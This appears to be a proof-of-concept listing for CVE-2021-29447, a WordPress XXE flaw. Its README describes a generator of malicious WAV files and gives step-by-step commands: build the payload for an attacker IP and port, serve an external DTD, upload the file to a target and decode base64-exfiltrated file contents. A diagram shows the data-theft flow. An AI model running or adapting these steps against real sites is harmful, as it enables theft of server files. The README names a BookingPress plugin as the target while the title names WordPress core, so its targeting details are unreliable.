CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source

Associated Vulnerability

Description

A XXE payload generator 

Readme

# WAV iXML XXE Exploit Generator

Generates malicious WAV files that exploit XXE vulnerabilities in WordPress plugins parsing iXML metadata chunks (e.g., BookingPress < 1.0.11).

## Quick Start
```bash
# Generate exploit files
python3 expl.py -i 10.10.14.204 -p 9200

# Start HTTP server
python3 -m http.server 9200

# Upload exploit.wav to target
# Monitor logs for data exfiltration

# Decode exfiltrated data
echo "BASE64_STRING" | base64 -d
```

## Workflow
```
┌──────────┐    1. Upload     ┌──────────┐
│ Attacker │ ───exploit.wav──>│  Target  │
└──────────┘                   └──────────┘
     ▲                              │
     │                              │ 2. Parse XML
     │                              │
     │ 3. GET /xxe.dtd             │
     │<─────────────────────────────┘
     │
     │ 4. GET /?p=base64_data
     │<─────────────────────────────┐
     │                              │
     └─ Decode and read file        │
```

## Vulnerable Targets

- WordPress BookingPress Plugin < 1.0.11
- Any application parsing iXML chunks in WAV files without disabling external entities

## References

- [WPScan Vulnerability DB](https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/)
- CVE: CVE-2021-29447

File Snapshot

 [4.0K]  /data/pocs/ddc902ca7f0bdbd7c3f2f1b7f4b5ff617c175b08
├── [ 28K]  expl.py
└── [1.5K]  README.md

1 directory, 2 files

Remarks